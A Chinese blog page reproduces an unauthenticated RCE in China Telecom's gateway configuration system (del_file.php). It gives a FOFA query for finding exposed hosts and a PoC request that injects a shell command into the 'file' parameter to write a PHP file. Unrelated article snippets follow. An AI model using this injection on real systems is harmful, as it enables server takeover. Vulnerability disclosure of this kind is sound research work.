当前位置： 首页 > news >正文

电信网关配置管理系统 del_file.php 前台RCE漏洞复现

news 2025/12/15 3:50:26

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能，从而确保网络的正常运行和高效性能。

0x02 漏洞概述

电信网关配置管理系统 /manager/newtpl/del_file.php 接口存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意代码，从而获取服务器权限。

0x03 复现环境

FOFA：body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=%20%7C%20base64%20-d%20%3E%20rce.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit

相关文章：

电信网关配置管理系统 del_file.php 前台RCE漏洞复现

0x01 产品简介 中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远…...

编程日记 2024/6/19 4:31:52

游戏心理学Day18

游戏玩家心理 在游戏世界中，设计师的工作总是围绕尽可能留住玩家要展开。在游戏创作时，设计师会假设目标诉讼的特点并激励迎合他们的需求，如果这种假设是经过实际调研之后做出的，那么就会比较接近实际情况而。如果这种假设是设计…...

编程日记 2024/6/19 4:30:51

发文章不违规的5种解决方案，非常适用，记得收藏！

之前以为使用AI写出来的文章，只要检测通过就不会违规，结果却还是让我有些失望。最近测试几款AI工具，测试结果都还是会存在违规情况，无法全文发布。 AI是听从人的指令，只能说是如何下指令，这个非常重要。至…...

编程日记 2024/6/19 4:29:50

【ARMv8/ARMv9 硬件加速系列 2.2 -- ARM NEON 的加减乘除(左移右移)运算】

文章目录 NEON 加减乘除NEON 加减乘除 下面代码是使用ARMv8汇编语言对向量寄存器v0-v31执行加、减、乘以及左移和右移操作的示例。 ARMv8的SIMD指令集允许对向量寄存器中的多个数据进行并行操作。v0和v1加载数据，对它们进行加、减和乘,左移和右移操作。最后，我们会将结果存储…...

编程日记 2024/6/19 4:28:49

[2024-06]-[大模型]-[Ollama]- WebUI

主要涉及要部署的前端webui是来源于：https://github.com/open-webui/open-webui 正常就使用： docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-web…...

编程日记 2024/6/19 4:25:46

AI智能盒子助力中钢天源设备工厂升级安全防护

中钢集团安徽天源科技股份有限公司成立于2002年3月27日,是中央企业中国中钢股份有限公司控股的上市公司，主导产品为永磁铁氧体器件、钕铁硼器件、四氧化三锰、锶铁氧体预烧料及各类磁选机等。 在中钢天源智能化升级过程中，采用并定制开发一系列厂区安全…...

编程日记 2024/6/19 4:24:45

RNN的变种们：GRULSTM双向RNN

上篇笔记记录到RNN的一个缺点：训练时会出现梯度消失，解决的办法是找到一个更优的计算单元。这里也有GRU和LSTM。 GRU（Gated Recurrent Unit）门控训练网络 什么是门控机制？就是对当前的输入进行一个筛选。门打开&…...

编程日记 2024/6/19 4:23:44

Linux网络-HttpServer的实现

文章目录 前言一、请求报文的解析URL的解析 二、响应报文的发送Content-LenthConten-TypeCookie和Set-CookieCookie的风险 三、尝试发送一个HTML网页404网页Location 重定向 四、浏览器的多次请求行为总结 前言 之前我们简单理解了一下Http协议，本章我们将在LInux下…...

编程日记 2024/6/19 4:22:41

GPT-4o的综合评估与前景展望

如何评价GPT-4o? GPT-4o作为OpenAI推出的最新一代大型语言模型，其性能、功能和应用前景都备受关注。以下是对GPT-4o的综合评估与前景展望： 一、技术性能评估 响应速度：GPT-4o在响应速度上有了显著提升，能够在极短的时间内对输入…...

编程日记 2024/6/19 4:21:40

私人云盘（自动云同步）

一、项目简介 模仿小米的云服务，实现一个通过TCP实现的私人云盘，因为能力有限，所以只实现自动云同步这一个功能，具体可以分为三个小功能，即保持云端和终端数据一致、实现文件的上传与下载以及手动同步 二、涉及到的知…...

编程日记 2024/6/19 4:19:38

【CMake】Linux 下权限丢失与软链接失效问题

【CMake】Linux 下权限丢失与软链接失效问题 文章目录 【CMake】Linux 下权限丢失与软链接失效问题问题概述解决方法1 - 安装目录2 - 安装文件3 - 手动指定 使用 Linux 下原生命令行注意事项参考链接 问题概述 一般使用 CMake 安装，在 Windows 平台不会出问题&…...

编程日记 2024/6/19 4:18:37

内部类介绍

内部类（Inner Class）是在另一个类的内部定义的类。它可以访问外部类的所有成员，包括私有成员。内部类有两种主要形式：局部内部类（定义在方法内部）和成员内部类（定义在类的内部，但不在…...

编程日记 2024/6/19 4:16:28

【CVPR2021】LoFTR：基于Transformers的无探测器的局部特征匹配方法

LoFTR：基于Transformers的局部检测器 0. 摘要 我们提出了一种新的局部图像特征匹配方法。我们建议先在粗略级别建立像素级密集匹配，然后再在精细级别细化良好匹配，而不是按顺序进行图像特征检测、描述和匹配。与使用成本体积搜索对应关系的密…...

编程日记 2024/6/19 4:15:27

总结一下 C# 如何自定义特性 Attribute 并进行应用

前言 Attribute（特性）是一种用于为程序元素（如类、方法、属性等）提供元数据信息的方法。 特性是一种声明式的信息，附加到程序元素上，提供额外的数据用于描述和控制这些元素的行为。 在编译和运行时&…...

编程日记 2024/6/19 4:14:26

三种暴露方法和引入方式

1.分别暴露 export ...export...用于按需导出一个或多个模块，在导入时需要使用花括号指定导入的模块名称，例如import { a, b } from module module.js中 export let a 1 export function b(){console.log(hello,vue) } 2.统一暴露 export { ...}用于统…...

编程日记 2024/6/19 4:11:23

“Git之道：掌握常用命令，轻松管理代码“

目录 1. 初始化和配置 2. 提交和更新 3. 分支和合并 4. 查看和比较 5. 远程仓库 6. 文件操作命令 1. 初始化和配置 git init：在当前目录初始化一个新的Git仓库git config：配置Git的全局或局部选项git clone：从远程仓库克隆一个本地副本…...

编程日记 2024/6/19 4:10:21

Linux vim 文本编辑 操作文本 三种模式

介绍 vi 是一个经典的行编辑器，支持模式编辑（包括普通模式、插入模式和命令模式）。 vim 保留vi核心功能的基础上，增加了多级撤销、语法高亮、插件支持等高级功能。 两者的最大区别，简单的来说vim就是vi的增强版 三…...

编程日记 2024/6/19 4:09:20

JavaFX DatePicker

JavaFX DatePicker允许从给定日历中选择一天。DatePicker控件包含一个带有日期字段和日期选择器的组合框。JavaFX DatePicker控件使用JDK8日期时间API。 import javafx.application.Application; import javafx.scene.Scene; import javafx.scene.control.DatePicker; import j…...

编程日记 2024/6/19 4:08:19

开展“安全生产月”活动向媒体投稿的好方法找到了

作为一名单位的信息宣传员,我的职责是确保每一次重要活动的声音都能准确无误地传达到社会的每一个角落。在这样的使命驱动下,我曾一度陷入了一种传统的投稿模式——依赖电子邮件,将精心准备的稿件一封封地发送给各大媒体。初入此行,我满心以为这便是信息传播的路径,却未料到,这…...

编程日记 2024/6/19 4:07:18

商讯杂志商讯杂志社商讯编辑部2024年第10期目录

案例分享 基于胜任素质的干部选拔和梯队建设体系探讨——以A区卫生健康系统为例 康文雁; 1-4 “家庭五险一金”对居民商业保险购买存在挤出效应——基于江苏省徐州、淮安、泰州三市的实证研究 李炳毅; 5-8 人口老龄化背景下促进徐州市经济高质量发展的探究 李艳秋;…...

编程日记 2024/6/19 4:06:16

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向： 逆向设计 通过神经网络快速预测微纳结构的光学响应，替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...

编程新知 2025/12/14 9:58:04

谷歌浏览器插件

项目中有时候会用到插件 sync-cookie-extension1.0.0：开发环境同步测试 cookie 至 localhost，便于本地请求服务携带 cookie 参考地址：https://juejin.cn/post/7139354571712757767 里面有源码下载下来，加在到扩展即可使用FeHelp…...

编程新知 2025/8/16 3:55:30

生成xcframework

打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式，可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

编程新知 2025/10/5 2:30:38

NFT模式：数字资产确权与链游经济系统构建

NFT模式：数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新：构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议：基于LayerZero协议实现以太坊、Solana等公链资产互通，通过零知…...

编程新知 2025/12/11 1:41:28

GC1808高性能24位立体声音频ADC芯片解析

1. 芯片概述 GC1808是一款24位立体声音频模数转换器（ADC），支持8kHz~96kHz采样率，集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器，适用于高保真音频采集场景。 2. 核心特性 高精度：24位分辨率&#xff0c…...

编程新知 2025/12/9 1:56:21

Golang——9、反射和文件操作

反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一：使用Read()读取文件2.3、方式二：bufio读取文件2.4、方式三：os.ReadFile读取2.5、写…...

编程新知 2025/12/14 4:19:36

Bean 作用域有哪些？如何答出技术深度？

导语： Spring 面试绕不开 Bean 的作用域问题，这是面试官考察候选人对 Spring 框架理解深度的常见方式。本文将围绕“Spring 中的 Bean 作用域”展开，结合典型面试题及实战场景，帮你厘清重点，打破模板式回答&#xff0c…...

编程新知 2025/11/12 21:44:33

Web后端基础(基础知识)

BS架构：Browser/Server，浏览器/服务器架构模式。客户端只需要浏览器，应用程序的逻辑和数据都存储在服务端。 优点：维护方便缺点：体验一般 CS架构：Client/Server，客户端/服务器架构模式。需要单独…...

编程新知 2025/12/4 22:14:31

从面试角度回答Android中ContentProvider启动原理

Android中ContentProvider原理的面试角度解析，分为​​已启动​​和​​未启动​​两种场景： 一、ContentProvider已启动的情况 1. ​​核心流程​​ ​​触发条件​​：当其他组件（如Activity、Service）通过ContentR…...

编程新知 2025/10/2 19:46:59

k8s从入门到放弃之HPA控制器

k8s从入门到放弃之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一种用于自动扩展部署、副本集或复制控制器中Pod数量的机制。它可以根据观察到的CPU利用率（或其他自定义指标）来调整这些对象的规模，从而帮助应用程序在负…...

编程新知 2025/10/30 1:59:28